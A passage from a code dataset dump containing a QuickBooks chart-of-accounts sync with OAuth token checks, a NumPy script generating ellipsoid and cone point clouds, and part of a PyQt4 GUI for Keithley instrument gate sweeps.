chart_of_accounts_response)\n\n cm.chartofaccounts_last_refresh_date = datetime.datetime.now()\n cm.save()\n\n serializer = CoASerializer(coas, many=True)\n\n return Utils.dispatch_success(request,\"COA_FETECHED_SUCCESSFULLY\")\n except Exception as e:\n return Utils.dispatch_failure (request,'INTERNAL_SERVER_ERROR')\n\n def save_chart_of_accounts(company, response):\n \"\"\"\n Parses the Chart of accounts Json Response into CoA Objects to save into database\n follows the format provided here https://developer.intuit.com/docs/api/accounting/account\n :param company: the company object being referenced\n :param response: the json response object\n :return:\n \"\"\"\n \"\"\"\n Parses the Chart of accounts Json Response into CoA Objects to save into database\n follows the format provided here https://developer.intuit.com/docs/api/accounting/account\n :param company: the company object being referenced\n :param response: the json response object\n :return:\n \"\"\"\n coas = []\n for account in response[\"QueryResponse\"][\"Account\"]:\n exists = CoA.objects.filter(company=company, gl_account_id=account[\"Id\"]).first()\n if exists:\n exists.gl_account_name = account[\"Name\"]\n exists.gl_account_currency = account[\"CurrencyRef\"][\"value\"]\n exists.gl_account_id = account[\"Id\"]\n exists.gl_account_bal = account[\"CurrentBalance\"]\n exists.gl_account_type = account[\"AccountType\"]\n exists.save()\n # doesn't return coa that already existed in the system\n # coas.append(exists)\n else:\n coa = CoA(company=company, gl_account_type=account[\"AccountType\"],\n gl_account_name=account[\"Name\"], gl_account_currency=account[\"CurrencyRef\"][\"value\"],\n gl_account_id=account[\"Id\"], gl_account_bal=account[\"CurrentBalance\"])\n coa.save()\n coas.append(coa)\n return coas\n\n def is_token_valid(self,pk,request):\n \"\"\"\n Check the validity of Token\n :param pk: Company ID\n :return: Response of validation\n \"\"\"\n try:\n company = AccountsUtils.get_company(pk)\n credentials = AccountingOauth2.objects.filter(company=company).first()\n if credentials:\n sample_response, status_code = Utils.get_company_info(credentials.accessToken, credentials.realmId)\n if status_code >= 400:\n bearer = get(credentials.refreshToken)\n new_credentials = AccountingUtils.updateAccountingSession(company, bearer.accessToken,\n bearer.refreshToken, credentials.realmId)\n sample_response, status_code = Utils.get_company_info(new_credentials.accessToken,\n new_credentials.realmId)\n if status_code >= 400:\n return Utils.dispatch_failure(request,'NO_TOKEN_AUTHENTICATION')\n return Utils.dispatch_success(request,\"AUTHENTICATED_SUCCESSFULLY\")\n return Utils.dispatch_failure (request,'NO_TOKEN_AUTHENTICATION')\n except Exception as e:\n return Utils.dispatch_failure(request,'NO_TOKEN_AUTHENTICATION')\n","sub_path":"portalbackend/lendapi/v1/accounting/third_party/quickbooks.py","file_name":"quickbooks.py","file_ext":"py","file_size_in_byte":15620,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"462338381","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Oct 4 11:07:44 2019\n\n@author: mzins\n\"\"\"\n\nimport numpy as np\nfrom scipy.spatial.transform import Rotation as Rot\n\n\ndef writeOBJ(name, pts):\n with open(name, \"w\") as fout:\n for p in pts:\n fout.write(\"v \" + \" \".join(p.astype(str)) + \"\\n\")\n\n\n#%% Initialization \n \n# Set of points\nxmin, xmax = -40, 40\nymin, ymax = -40, 40\nzmin, zmax = -40, 40\nx, y, z = np.mgrid[xmin:xmax+1, ymin:ymax+1, zmin:zmax+1]\npts = np.vstack([x.flatten(), y.flatten(), z.flatten()]).astype(np.float) / 30\n\n\n\n#%% Ellipsoid\n\nA = np.array([[0.5, 0, 0, 0],\n [0, 1, 0, 0],\n [0, 0, 1, 0],\n [0, 0, 0, -1]], dtype=np.float)\n# Center\nC = np.array([0, 0, 0], dtype=np.float)\n \n# Orientation\nRw_e = Rot.from_euler(\"y\", 45, degrees=True).as_dcm()\nR_hom = np.eye(4)\nR_hom[:3, :3] = Rw_e\n\ndists = []\nfor i in range(pts.shape[1]):\n p = pts[:, i] - C\n p = np.concatenate((p, np.array([1.0]))).T\n dists.append(p.T @ R_hom @ A @ R_hom.T @ p)\ndists = np.asarray(dists)\ngood_points = np.where(np.abs(dists) <= 0.01)\nellipsoid = pts[:, good_points[0]].T\n\nwriteOBJ(\"ellipsoid.obj\", ellipsoid)\n\n#%% Cone\n\nB = np.array([[0.5, 0.0, 0.0, 0.0],\n [0.0, 1.0, 0.0, 0.0],\n [0.0, 0.0, -1.0, 0.0],\n [0.0, 0.0, 0.0, 0.0]], dtype=np.float)\n\n# Center\nC = np.array([1, 0, 0], dtype=np.float)\n\n# Orientation\nRw_e = Rot.from_euler(\"y\", 0, degrees=True).as_dcm()\nR_hom = np.eye(4)\nR_hom[:3, :3] = Rw_e\n\n\ndists = []\nfor i in range(pts.shape[1]):\n p = pts[:, i] - C\n p = np.concatenate((p, [1.0])).T\n dists.append(p.T @ R_hom @ B @ R_hom.T @ p)\ndists = np.asarray(dists)\ngood_points = np.where(np.abs(dists) <= 0.01)\ncone = pts[:, good_points[0]].T\n\nwriteOBJ(\"cone.obj\", cone)\n\n\n","sub_path":"quadrics.py","file_name":"quadrics.py","file_ext":"py","file_size_in_byte":1806,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"555518780","text":"# Import numpy library\r\nimport numpy as np\r\nimport os\r\nimport sys\r\nimport datetime\r\nimport visa\r\nimport math\r\nimport time\r\nimport warnings\r\n\r\n# Adding navigation toolbar to the figure\r\nfrom matplotlib.backends.backend_qt4agg import (\r\n FigureCanvasQTAgg as FigureCanvas,\r\n NavigationToolbar2QT as NavigationToolbar)\r\n\r\nfrom matplotlib.figure import Figure\r\n\r\n# Import the PyQt4 modules for all the commands that control the GUI.\r\n# Importing as from \"Module\" import \r\nfrom PyQt4.QtCore import *\r\nfrom PyQt4.QtGui import *\r\n\r\nfrom Save import Save_Thread\r\nfrom D_save import Dynamic_Save_Thread\r\n\r\n# These are the modules required for the guiqwt widgets.\r\n# Import plot widget base class\r\nfrom guiqwt.pyplot import *\r\nfrom guiqwt.plot import CurveWidget\r\nfrom guiqwt.builder import make\r\n\r\nimport subprocess\r\n\r\nclass KeithleyGateSweep():\r\n \r\n def __init__(self, main, ui):\r\n self.ui = ui\r\n self.copyDataFunc = main.CopyDataFunc\r\n self.collect_data_thread = Collect_data()\r\n self.save_thread = Save_Thread()\r\n self.dsave_thread = Dynamic_Save_Thread()\r\n \r\n main.connect(self.ui.pushButtonK2_browseGate, SIGNAL('clicked()'), self.Browse_Array)\r\n main.connect(self.ui.pushButtonK2_importGate, SIGNAL('clicked()'), self.Import_Array)\r\n main.connect(self.ui.pushButtonK2_copyGate, SIGNAL('clicked()'), self.Copy_Array)\r\n main.connect(self.ui.pushButtonK2_updateGate, SIGNAL('clicked()'), self.update_visas)\r\n main.connect(self.ui.pushButtonK2_updateLead, SIGNAL('clicked()'), self.update_visas)\r\n main.connect(self.ui.pushButtonK2_selectGate, SIGNAL('clicked()'), lambda : self.Select_visa(\"gate\", self.gate_visa, self.ui.comboBoxK2_gateVisa, self.ui.lineEditK2_gateVisa, [self.ui.pushButtonK2_selectGate, self.ui.pushButtonK2_closeGate]))\r\n main.connect(self.ui.pushButtonK2_selectLead, SIGNAL('clicked()'), lambda : self.Select_visa(\"lead\", self.lead_visa, self.ui.comboBoxK2_leadVisa, self.ui.lineEditK2_leadVisa, [self.ui.pushButtonK2_selectLead, self.ui.pushButtonK2_closeLead]))\r\n main.connect(self.ui.pushButtonK2_closeGate, SIGNAL('clicked()'), lambda : self.Close_visa(\"gate\", self.gate_visa, self.ui.lineEditK2_gateVisa, [self.ui.pushButtonK2_selectGate, self.ui.pushButtonK2_closeGate]))\r\n main.connect(self.ui.pushButtonK2_closeLead, SIGNAL('clicked()'), lambda : self.Close_visa(\"lead\", self.lead_visa, self.ui.lineEditK2_leadVisa, [self.ui.pushButtonK2_selectLead, self.ui.pushButtonK2_closeLead]))\r\n main.connect(self.ui.pushButtonK2_Start, SIGNAL('clicked()'), self.start)\r\n main.connect(self.ui.pushButtonK2_Stop, SIGNAL('clicked()'), self.collect_data_thread.stop)\r\n main.connect(self.ui.pushButtonK2_Pause, SIGNAL('clicked()'), self.collect_data_thread.pause)\r\n main.connect(self.ui.pushButtonK2_browse_save_G, SIGNAL('clicked()'), self.Google_browse)\r\n main.connect(self.ui.pushButtonK2_browse_save_O, SIGNAL('clicked()'), self.Other_browse)\r\n main.connect(self.ui.pushButtonK2_check_G, SIGNAL('clicked()'), self.Check)\r\n main.connect(self.ui.pushButtonK2_Select_Directory_G, SIGNAL('clicked()'), self.Google_select_namefolder)\r\n main.connect(self.ui.pushButtonK2_Save_G, SIGNAL('clicked()'), self.G_save)\r\n main.connect(self.ui.pushButtonK2_Open_G, SIGNAL('clicked()'), self.G_open)\r\n main.connect(self.ui.pushButtonK2_Save_O, SIGNAL('clicked()'), self.O_save)\r\n main.connect(self.ui.pushButtonK2_Open_O, SIGNAL('clicked()'), self.O_open)\r\n main.connect(self.collect_data_thread, SIGNAL(\"curve_plot\"), self.curvePlots_update)\r\n main.connect(self.collect_data_thread, SIGNAL(\"mpl_plot\"), self.mplPlots)\r\n main.connect(self.collect_data_thread, SIGNAL(\"data_available\"), self.Pre_save)\r\n main.connect(self.ui.checkBoxK2_dsave, SIGNAL(\"clicked()\"), self.Pre_dsave)\r\n main.connect(self.ui.pushButtonK2_dsave_browse, SIGNAL('clicked()'), self.Dsave_browse)\r\n \r\n self.Array = []\r\n self.count = 0\r\n self.go_on = True\r\n self.dsave_directory = ''\r\n \r\n self.ui.mplwidgetK2_gateArray = self.make_mplToolBar(self.ui.mplwidgetK2_gateArray, self.ui.widgetK2_gateArray)\r\n self.ui.mplwidgetK2_AgateVoltage = self.make_mplToolBar(self.ui.mplwidgetK2_AgateVoltage, self.ui.widgetK2_AgateVoltage)\r\n self.ui.mplwidgetK2_AleadCurrent = self.make_mplToolBar(self.ui.mplwidgetK2_AleadCurrent, self.ui.widgetK2_AleadCurrent)\r\n self.ui.mplwidgetK2_AgateCurrent = self.make_mplToolBar(self.ui.mplwidgetK2_AgateCurrent, self.ui.widgetK2_AgateCurrent)\r\n self.ui.mplwidgetK2_ALeadResistance = self.make_mplToolBar(self.ui.mplwidgetK2_ALeadResistance, self.ui.widgetK2_ALeadResistance)\r\n self.ui.mplwidgetK2_ALeadCurrentGateVoltage = self.make_mplToolBar(self.ui.mplwidgetK2_ALeadCurrentGateVoltage, self.ui.widgetK2_ALeadCurrentGateVoltage)\r\n self.ui.mplwidgetK2_ALeadResistanceGateVoltage = self.make_mplToolBar(self.ui.mplwidgetK2_ALeadResistanceGateVoltage, self.ui.widgetK2_ALeadResistanceGateVoltage)\r\n \r\n self.axes_gateArray = None\r\n self.axes_AgateVoltage = None\r\n self.axes_AleadCurrent = None\r\n self.axes_AgateCurrent = None\r\n self.axes_ALeadResistance = None\r\n self.axes_ALeadCurrentGateVoltage = None\r\n self.axes_ALeadResistanceGateVoltage = None\r\n \r\n self.curve_itemK2_SgateVoltage = self.make_curveWidgets(self.ui.curvewidgetK2_SgateVoltage, \"b\", titles = [\"Gate Voltage\", \"Steps\", \"Gate Voltage (V)\"])\r\n self.curve_itemK2_SleadCurrent = self.make_curveWidgets(self.ui.curvewidgetK2_SleadCurrent, \"b\", titles = [\"Lead Current\", \"Steps\", \"Lead Current (A)\"])\r\n self.curve_itemK2_SgateCurrent = self.make_curveWidgets(self.ui.curvewidgetK2_SgateCurrent, \"b\", titles = [\"Gate Current\", \"Steps\", \"Gate Current (A)\"])\r\n self.curve_itemK2_SleadResistance = self.make_curveWidgets(self.ui.curvewidgetK2_SleadResistance, \"b\", titles = [\"Lead Resistance\", \"Steps\", \"Lead Resistance (Ohms)\"])\r\n self.curve_itemK2_SleadCurrentGateVoltage = self.make_curveWidgets(self.ui.curvewidgetK2_SleadCurrentGateVoltage, \"b\", titles = [\"Lead Current vs Gate Voltage\", \"Gate Voltage (V)\", \"Lead Current (A)\"])\r\n self.curve_itemK2_SleadResistanceGateVoltage = self.make_curveWidgets(self.ui.curvewidgetK2_SleadResistanceGateVoltage, \"b\", titles = [\"Lead Resistane vs Gate Voltage\", \"Gate Voltage (V)\", \"Lead Resistance (Ohms)\"])\r\n \r\n self.ui.pushButtonK2_Pause.setEnabled(False)\r\n self.ui.pushButtonK2_Stop.setEnabled(False)\r\n self.gate_visa = None\r\n self.lead_visa = None\r\n self.update_visas()\r\n \r\n self.uiSavingGDpushButtons = [ self.ui.pushButtonK2_browse_save_G, self.ui.pushButtonK2_check_G, self.ui.pushButtonK2_Select_Directory_G, self.ui.pushButtonK2_Save_G, self.ui.pushButtonK2_Open_G]\r\n self.uiSavingGDradioButton = [self.ui.radioButtonK2_csv_G, self.ui.radioButtonK2_txt_G, self.ui.radioButtonK2_Timename_G, self.ui.radioButtonK2_Custom_Name_G]\r\n self.uiSavingGDtextEdit = [self.ui.textEditK2_comment_G]\r\n self.uiSavingGDcomboBox = [self.ui.comboBoxK2_Name_Folder_G]\r\n self.uiSavingGDlineEdit = [self.ui.lineEditK2_GoogleDrive_G, self.ui.lineEditK2_Custom_Name_G]\r\n self.uiSavingGDlabel = [self.ui.labelK2_condition_G]\r\n \r\n def make_mplToolBar(self, mplwidget, widget):\r\n canvas_mpl = FigureCanvas(mplwidget.figure)\r\n canvas_mpl.setParent(widget)\r\n # This is the toolbar widget for the import canvas\r\n mpl_toolbar = NavigationToolbar(canvas_mpl, mplwidget)\r\n vbox_ = QVBoxLayout()\r\n # The matplotlib canvas\r\n vbox_.addWidget(canvas_mpl)\r\n # The matplotlib toolbar\r\n vbox_.addWidget(mpl_toolbar)\r\n widget.setLayout(vbox_)\r\n return canvas_mpl\r\n \r\n def make_curveWidgets(self, curvewidget, color, titles):\r\n curve_item = make.curve([], [], color = 'b', marker = \"o\")\r\n curvewidget.plot.add_item(curve_item)\r\n curvewidget.plot.set_antialiasing(True)\r\n curvewidget.plot.set_titles(titles[0], titles[1], titles[2])\r\n return curve_item\r\n\r\n def Browse_Array(self):\r\n prev_dir = os.getcwd()\r\n fileDir = QFileDialog.getOpenFileName(None, 'Select File to Import', prev_dir, filter=\"Array Files (*.array)\")\r\n if fileDir != '':\r\n file_list = str(fileDir).split('/')\r\n for i in range(0, len(file_list) - 1):\r\n global open_dir\r\n open_dir = ''\r\n if i < len(file_list) - 1:\r\n open_dir += file_list[i] + '\\\\'\r\n elif i == len(file_list) - 1:\r\n open_dir += file_list[i]\r\n fileDir.replace('/', '\\\\')\r\n self.ui.lineEditK2_directoryGate.setText(fileDir)\r\n self.ui.pushButtonK2_importGate.setEnabled(True)\r\n self.ui.lineEditk2_condition.setText('File: \"' + file_list[len(file_list) - 1] + '\" has been chosen.')\r\n else:\r\n self.ui.lineEditk2_condition.setText(\"Please choose valid file to import.\")\r\n\r\n def Import_Array(self):\r\n divider_found = True\r\n count = 0\r\n temp = 0\r\n self.Array = []\r\n x_value = []\r\n y_value = []\r\n fileDir = self.ui.lineEditK2_directoryGate.text()\r\n fp = open(fileDir)\r\n while True:\r\n if count == 5000:\r\n self.ui.lineEditk2_condition.setText(\"Data not found in file. Please check it.\")\r\n divider_found = False\r\n break\r\n line = fp.readline()\r\n line_list = line.split(',')\r\n if line_list[0].upper() == \"Array Data\".upper() + '\\n':\r\n break\r\n count += 1\r\n if divider_found == True:\r\n line = fp.readline()\r\n while True:\r\n line = fp.readline().replace('\\n', '')\r\n #print 'line: ' + line\r\n if line == '':\r\n break\r\n value = line.split(',')\r\n x_value.append(temp)\r\n x_value.append(temp + 1)\r\n y_value.append(value[1])\r\n y_value.append(value[1])\r\n self.Array.append(float(value[1]))\r\n temp += 1\r\n self.plot_data(self.axes_gateArray, x_value, y_value, [\"Array Import Plot\", \"Steps\", \"Values\"], self.ui.mplwidgetK2_gateArray)\r\n self.ui.lineEditk2_condition.setText(\"File is imported correctly.\")\r\n self.ui.groupBoxK2_control.setEnabled(True)\r\n self.ui.groupBoxK2_yvalue_units.setEnabled(True)\r\n self.ui.groupBoxK2_lead_output.setEnabled(True)\r\n self.ui.groupBoxK2_time.setEnabled(True)\r\n self.ui.groupBoxK2_dsave.setEnabled(True)\r\n self.ui.checkBoxK2_dsave.setEnabled(True)\r\n \r\n def Copy_Array(self):\r\n Values = self.copyDataFunc()\r\n if Values != None:\r\n self.ui.lineEditk2_condition.setText('Array has been copied and plotted.')\r\n #self.ui.tabWidget_plot_keithely.setCurrentIndex(0)\r\n self.Array = []\r\n x_value = []\r\n y_value = []\r\n item = 0\r\n for i in range(0, len(Values)):\r\n for j in range(0, len(Values[i])):\r\n x_value.append(item)\r\n x_value.append(item + 1 - 0.0001)\r\n y_value.append(Values[i][j])\r\n y_value.append(Values[i][j])\r\n self.Array.append(Values[i][j])\r\n item += 1\r\n self.plot_data(self.axes_gateArray, x_value, y_value, [\"Array Import Plot\", \"Steps\", \"Values\"], self.ui.mplwidgetK2_gateArray)\r\n self.ui.lineEditK2_directoryGate.setText('From Array Builder Tab.')\r\n self.ui.groupBoxK2_control.setEnabled(True)\r\n self.ui.groupBoxK2_yvalue_units.setEnabled(True)\r\n self.ui.groupBoxK2_lead_output.setEnabled(True)\r\n self.ui.groupBoxK2_time.setEnabled(True)\r\n self.ui.groupBoxK2_dsave.setEnabled(True)\r\n self.ui.checkBoxK2_dsave.setEnabled(True)\r\n else:\r\n self.ui.lineEditk2_condition.setText('No valid array to copy.')\r\n \r\n \r\n def plot_reset(self, axes, mplwidget):\r\n mplwidget.figure.clear()\r\n axes = mplwidget.figure.add_subplot(111)\r\n return axes\r\n \r\n def plot_data(self, axes, x, y, titles, mplwidget):\r\n axes = self.plot_reset(axes, mplwidget)\r\n axes.plot(x, y, marker = '.', linestyle = '-')\r\n axes.grid()\r\n axes.set_title(\"Array Import Plot\")\r\n axes.set_xlabel(\"Steps\")\r\n axes.set_ylabel(\"Values\")\r\n mplwidget.draw()\r\n \r\n \r\n def update_visas(self):\r\n rm = visa.ResourceManager()\r\n try:\r\n all_visas = rm.list_resources()\r\n except:\r\n all_visas = \"No Visa Available.\"\r\n self.ui.comboBoxK2_gateVisa.clear()\r\n self.ui.comboBoxK2_leadVisa.clear()\r\n \r\n for item in all_visas:\r\n self.ui.comboBoxK2_gateVisa.addItem(item)\r\n self.ui.comboBoxK2_leadVisa.addItem(item)\r\n \r\n \r\n \r\n def Select_visa(self, gateLead, visa_chosen, comboBoxVisa, lineEditVisa, selectClose):\r\n visa_address = str(comboBoxVisa.currentText())\r\n rm = visa.ResourceManager()\r\n rm.list_resources()\r\n inst = rm.open_resource(visa_address)\r\n visa_check = self.Check_visa(inst)\r\n if visa_check == True:\r\n self.ui.lineEditk2_condition.setText(\"Visa is selected succefully!\")\r\n visa_name = inst.query(\"*IDN?\")\r\n lineEditVisa.setText(visa_name)\r\n selectClose[0].setEnabled(False)\r\n selectClose[1].setEnabled(True)\r\n if gateLead == \"gate\":\r\n self.gate_visa = inst\r\n elif gateLead == \"lead\":\r\n self.lead_visa = inst\r\n #self.ui.groupBox_scan_keithley.setEnabled(True)\r\n elif visa_check == False:\r\n self.ui.lineEditk2_condition.setText(\"Invalid visa address.\")\r\n lineEditVisa.setText(\"None.\")\r\n visa_chosen = False\r\n\r\n def Check_visa(self, inst):\r\n try:\r\n inst.ask(\"*IDN?\")\r\n valid = True\r\n except:\r\n valid = False\r\n return valid\r\n \r\n def Close_visa(self, gateLead, visa_chosen, lineEditVisa, selectClose):\r\n visa_chosen.close()\r\n self.ui.lineEditk2_condition.setText('Visa address is closed')\r\n lineEditVisa.setText('')\r\n selectClose[0].setEnabled(True)\r\n selectClose[1].setEnabled(False)\r\n if gateLead == \"gate\":\r\n self.gate_visa = None\r\n elif gateLead == \"lead\":\r\n self.lead_visa = None\r\n #self.ui.groupBox_scan_keithley.setEnabled(False)\r\n \r\n def start(self):\r\n self.dsave_filename = ''\r\n self.dsave_username = ''\r\n self.dsave_filetype = ''\r\n self.dsave_divide = ''\r\n gate_set = set(str(self.gate_visa).split(' '))\r\n lead_set = set(str(self.lead_visa).split(' '))\r\n if gate_set == lead_set:\r\n self.ui.lineEditk2_condition.setText('Two visa addresses cannot be same.')\r\n else:\r\n instruments = [self.gate_visa, self.lead_visa]\r\n curves = [self.curve_itemK2_SgateVoltage, self.curve_itemK2_SleadCurrent, self.curve_itemK2_SgateCurrent, self.curve_itemK2_SleadResistance, self.curve_itemK2_SleadCurrentGateVoltage, self.curve_itemK2_SleadResistanceGateVoltage]\r\n curveWidgets =[self.ui.curvewidgetK2_SgateVoltage, self.ui.curvewidgetK2_SleadCurrent, self.ui.curvewidgetK2_SgateCurrent, self.ui.curvewidgetK2_SleadResistance, self.ui.curvewidgetK2_SleadCurrentGateVoltage, self.ui.curvewidgetK2_SleadResistanceGateVoltage]\r\n go_on = None\r\n if self.ui.checkBoxK2_dsave.isChecked():\r\n self.Dsave_directory()\r\n if self.dsave_dir_ok:\r\n self.Dsave_filename()\r\n if self.dsave_filename_ok: \r\n self.Dsave_username()\r\n if self.dsave_username_ok:\r\n self.Dsave_filetype()\r\n self.collect_data_thread.input(instruments, self.ui, self.Array, go_on , curves, curveWidgets, self.dsave_directory, self.dsave_filename, self.dsave_username, self.dsave_thread, self.dsave_filetype, self.dsave_divide)\r\n self.ui.tabWidgetK2.setCurrentIndex(2)\r\n self.ui.pushButtonK2_Start.setEnabled(False)\r\n self.ui.pushButtonK2_Pause.setEnabled(True)\r\n self.ui.pushButtonK2_Stop.setEnabled(True)\r\n self.ui.lineEditk2_condition.setText('Running...')\r\n else:\r\n self.ui.lineEditk2_condition.setText('Enter user name for dynamic saving.')\r\n else:\r\n self.ui.lineEditk2_condition.setText('Enter file name for dynamic saving.')\r\n else:\r\n self.ui.lineEditk2_condition.setText('Choose valid directory for dynamic saving.')\r\n else:\r\n self.collect_data_thread.input(instruments, self.ui, self.Array, go_on , curves, curveWidgets, self.dsave_directory, self.dsave_filename, self.dsave_username, self.dsave_thread, self.dsave_filetype, self.dsave_divide)\r\n self.ui.tabWidgetK2.setCurrentIndex(2)\r\n self.ui.pushButtonK2_Start.setEnabled(False)\r\n self.ui.pushButtonK2_Pause.setEnabled(True)\r\n self.ui.pushButtonK2_Stop.setEnabled(True)\r\n self.ui.lineEditk2_condition.setText('Running...')\r\n \r\n def curvePlots_update(self, curveInfo):\r\n curveWidget = curveInfo[0]\r\n curve = curveInfo[1]\r\n curveWidget.plot.do_autoscale()\r\n curve.plot().replot()\r\n \r\n def mplPlots(self):\r\n self.ui.tabWidgetK2.setCurrentIndex(3)\r\n self.ui.mplwidgetK2_AgateVoltage.draw()\r\n self.ui.mplwidgetK2_AleadCurrent.draw()\r\n self.ui.mplwidgetK2_AgateCurrent.draw()\r\n self.ui.mplwidgetK2_ALeadResistance.draw()\r\n self.ui.mplwidgetK2_ALeadCurrentGateVoltage.draw()\r\n self.ui.mplwidgetK2_ALeadResistanceGateVoltage.draw()\r\n \r\n def Plot_analysis(self):\r\n self.ui.tabWidget_plot_keithely.setCurrentIndex(3)\r\n self.ui.mplwidget_analysis.draw()\r\n self.ui.mplwidget_ct_analysis.draw()\r\n self.ui.mplwidget_vt_analysis.draw()\r\n \r\n def Plot_data(self, voltage, current, time, step):\r\n self.ui.label_yvalue_keithley.setText(format(current, '.3f'))\r\n self.ui.label_xvalue_keithley.setText(format(voltage, '.3f'))\r\n if self.ui.radioButton_timescan_keithley.isChecked():\r\n self.ui.label_tvalue_keithley.setText(format(time, '.3f'))\r\n elif self.ui.radioButton_stepscan_keithley.isChecked():\r\n self.ui.label_tvalue_keithley.setText(str(step))\r\n self.ui.curvewidget_keithley.plot.do_autoscale()\r\n self.ui.curvewidget_ct_keithley.plot.do_autoscale()\r\n self.ui.curvewidget_vt_keithley.plot.do_autoscale()\r\n self.curve_item.plot().replot()\r\n self.curve_ct_item.plot().replot()\r\n self.curve_vt_item.plot().replot()\r\n \r\n def Clear_plot(self):\r\n self.ui.mplwidget_analysis.draw()\r\n self.ui.mplwidget_ct_analysis.draw()\r\n self.ui.mplwidget_vt_analysis.draw()\r\n self.curve_item.plot().replot()\r\n self.curve_ct_item.plot().replot()\r\n self.curve_vt_item.plot().replot()\r\n \r\n \r\n def Google_browse(self):\r\n prev_dir = 'C:\\\\'\r\n file_list = []\r\n file_dir = QFileDialog.getExistingDirectory(None, 'Select Google Drive Folder', prev_dir)\r\n if file_dir != '':\r\n file_list = str(file_dir).split('/')\r\n # for i in range(0, len(file_list) - 1):\r\n # if i < len(file_list) - 1:\r\n # open_dir += file_list[i] + '\\\\'\r\n # elif i == len(file_list) - 1:\r\n # open_dir += file_list[i]\r\n file_dir.replace('/', '\\\\')\r\n self.ui.lineEditK2_GoogleDrive_G.setText(file_dir)\r\n self.ui.labelK2_condition_G.setText('Open Google Drive User Folder')\r\n self.ui.pushButtonK2_check_G.setEnabled(True)\r\n \r\n def Other_browse(self):\r\n prev_dir = os.getcwd()\r\n fileDir = QFileDialog.getExistingDirectory(None, 'Select Folder to Save', prev_dir)\r\n if fileDir != '':\r\n open_dir = ''\r\n file_list = str(fileDir).split('/')\r\n for i in range(0, len(file_list) - 1):\r\n if i < len(file_list) - 1:\r\n open_dir += file_list[i] + '\\\\'\r\n elif i == len(file_list) - 1:\r\n open_dir += file_list[i]\r\n fileDir.replace('/', '\\\\')\r\n self.O_directory = fileDir\r\n self.ui.lineEditK2_directory_O.setText(fileDir)\r\n self.ui.labelK2_username_O.setEnabled(True)\r\n self.ui.comboBoxK2_Name_Folder_O.setEnabled(True)\r\n self.ui.groupBoxK2_Filename_O.setEnabled(True)\r\n self.ui.groupBoxK2_File_Type_O.setEnabled(True)\r\n self.ui.labelK2_comment_O.setEnabled(True)\r\n self.ui.textEditK2_comment_O.setEnabled(True)\r\n self.ui.pushButtonK2_Save_O.setEnabled(True)\r\n self.ui.lineEditK2_Custom_Name_O.setEnabled(True)\r\n self.ui.labelK2_condition_O.setText(\"Click save button to save.\")\r\n else:\r\n self.ui.lineEditK2_directory_O.setText('None')\r\n self.ui.labelK2_condition_O.setText('Failed to Read File')\r\n \r\n def Check(self):\r\n self.G_directory = ''\r\n file_list = []\r\n file_list = str(self.ui.lineEditK2_GoogleDrive_G.text()).split('\\\\')\r\n if os.path.exists(self.ui.lineEditK2_GoogleDrive_G.text()) == False:\r\n self.ui.labelK2_condition_G.setText('Incorrect Google Drive Directory.')\r\n else:\r\n self.ui.labelK2_condition_G.setText('Please click browse to the \"03 User Accounts\" folder')\r\n for i in range(0, len(file_list)):\r\n self.G_directory += file_list[i] + '\\\\'\r\n if file_list[i].upper() == '03 User Accounts'.upper():\r\n self.ui.labelK2_namefolder_G.setEnabled(True)\r\n self.ui.comboBoxK2_Name_Folder_G.setEnabled(True)\r\n self.ui.pushButtonK2_Select_Directory_G.setEnabled(True)\r\n self.ui.labelK2_condition_G.setText('Choose name folder in Google Drive to save.') \r\n break\r\n \r\n def Google_select_namefolder(self):\r\n namefolder = str(self.ui.comboBoxK2_Name_Folder_G.currentText())\r\n if namefolder == 'None':\r\n self.ui.labelK2_condition_G.setText('Please choose a name folder to save.')\r\n else:\r\n now = datetime.datetime.now()\r\n date = '%s-%s-%s' % (now.year, now.month, now.day)\r\n self.ui.labelK2_G.setText(\"Save to \\\\\" + namefolder + \"\\Date\" + '\\\\' + date)\r\n self.G_directory += namefolder + \"\\Data\" + '\\\\' + date + '\\\\' + 'Keithely with Array'\r\n self.ui.groupBoxK2_File_Type_G.setEnabled(True)\r\n self.ui.groupBoxK2_Filename_G.setEnabled(True)\r\n self.ui.labelK2_comment_G.setEnabled(True)\r\n self.ui.textEditK2_comment_G.setEnabled(True)\r\n self.ui.pushButtonK2_Save_G.setEnabled(True)\r\n self.ui.lineEditK2_Custom_Name_G.setEnabled(True)\r\n self.ui.labelK2_condition_G.setText('Click save button to save.')\r\n \r\n def Select_type_G(self):\r\n if self.ui.radioButtonK2_csv_G.isChecked():\r\n self.G_type = '.csv'\r\n self.G_divide = ','\r\n\r\n elif self.ui.radioButtonK2_txt_G.isChecked():\r\n self.G_type = '.txt'\r\n self.G_divide = '\\t'\r\n\r\n \r\n def Select_type_O(self):\r\n if self.ui.radioButtonK2_csv_O.isChecked():\r\n self.O_type = '.csv'\r\n self.O_divide = ','\r\n\r\n elif self.ui.radioButtonK2_txt_O.isChecked():\r\n self.O_type = '.txt'\r\n self.O_divide = '\\t'\r\n\r\n\r\n def Select_name_G(self):\r\n if self.ui.radioButtonK2_Timename_G.isChecked():\r\n now = datetime.datetime.now()\r\n date = '%s-%s-%s' % (now.year, now.month, now.day)\r\n current_time = '%s.%s.%s' % (now.hour, now.minute, now.second)\r\n date_and_time = date + ' ' + current_time\r\n self.G_file_name = str(date_and_time)\r\n elif self.ui.radioButtonK2_Custom_Name_G.isChecked():\r\n self.G_file_name = str(self.ui.lineEditK2_Custom_Name_G.text())\r\n \r\n def Select_name_O(self):\r\n if self.ui.radioButtonK2_Timename_O.isChecked():\r\n now = datetime.datetime.now()\r\n date = '%s-%s-%s' % (now.year, now.month, now.day)\r\n current_time = '%s.%s.%s' % (now.hour, now.minute, now.second)\r\n date_and_time = date + ' ' + current_time\r\n self.O_file_name = str(date_and_time)\r\n elif self.ui.radioButtonK2_Custom_Name_O.isChecked():\r\n self.O_file_name = str(self.ui.lineEditK2_Custom_Name_O.text())\r\n \r\n def Pre_dsave(self):\r\n if self.ui.checkBoxK2_dsave.isChecked():\r\n self.ui.labelK2_dsave_directory.setEnabled(True)\r\n self.ui.lineEditK2_dsave_directory.setEnabled(True)\r\n self.ui.pushButtonK2_dsave_browse.setEnabled(True)\r\n self.ui.groupBoxK2_dsave_filename.setEnabled(True)\r\n self.ui.radioButtonK2_dsave_timename.setEnabled(True)\r\n self.ui.radioButtonK2_dsave_custname.setEnabled(True)\r\n 